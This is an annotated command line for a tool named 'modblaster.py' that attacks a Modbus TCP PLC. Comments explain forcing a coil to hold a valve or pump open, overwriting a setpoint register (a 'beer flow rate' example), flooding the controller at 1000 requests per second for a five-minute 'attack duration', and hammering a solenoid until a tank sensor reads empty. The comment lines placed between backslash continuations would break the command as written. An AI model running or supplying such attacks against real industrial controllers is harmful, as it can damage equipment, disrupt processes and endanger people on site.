python3 modblaster.py \
  --host 172.19.4.9 \
  # IP address of the target Modbus TCP PLC
  --force-coil 2 \
  # Continuously forces coil #2 (boolean output) to TRUE
  # Useful to simulate holding an actuator open like a valve or pump
  --set-reg 1052 \
  # Write to holding register #1052, typically used to influence setpoints or flow rates
  --set-value 100 \
  # The value to write (e.g., set beer flow rate to 100) unless using --random-values
  --function-code 23 \
  # Use Modbus Function Code 23 (Read/Write Multiple Registers)
  # This reads 50 registers (by default) and writes 50 values at once
  # More powerful and less common than FC 6 or 16
  --duration 300 \
  # Total attack duration: 300 seconds = 5 minutes
  # After this, all flooding/monitoring threads stop
  --threads 50 \
  # Number of concurrent threads for register flooding
  # More threads = higher throughput (and stress on target)
  --rate 20 \
  # Each thread sends 20 requests/sec
  # Total = 50 x 20 = 1000 req/sec
  --coil-interval 0.25 \
  # Force coil #2 every 0.25 seconds
  # Simulates an actuator being repeatedly activated (e.g. hammering a solenoid)
  --monitor simple:0:le,0:stop_flood \
  # Add a monitor:
  # Type: `simple`
  # Reg: input register 0 (e.g., tank_level_sensor)
  # Condition: less than or equal to 0 (`le,0`)
  # Action: `stop_flood` — stops attack if condition is met
  # So: if tank_level_sensor hits 0, attack stops automatically
  --monitor-logic all \
  # Require ALL monitors to be true before stopping flood
  # (Useful when combining multiple conditions; here only one is defined)
  --statistics \
  # Enables tracking of request count, error rate, monitor triggers, etc.
  --progress \
  # Show live progress bar using `tqdm`
  # Gives real-time visual of how many requests have been sent
  --verbosity 2
  # Logging level: 0 = silent, 1 = info, 2 = debug
  # Level 2 shows full register values, thread actions, retries, monitor evaluations, etc.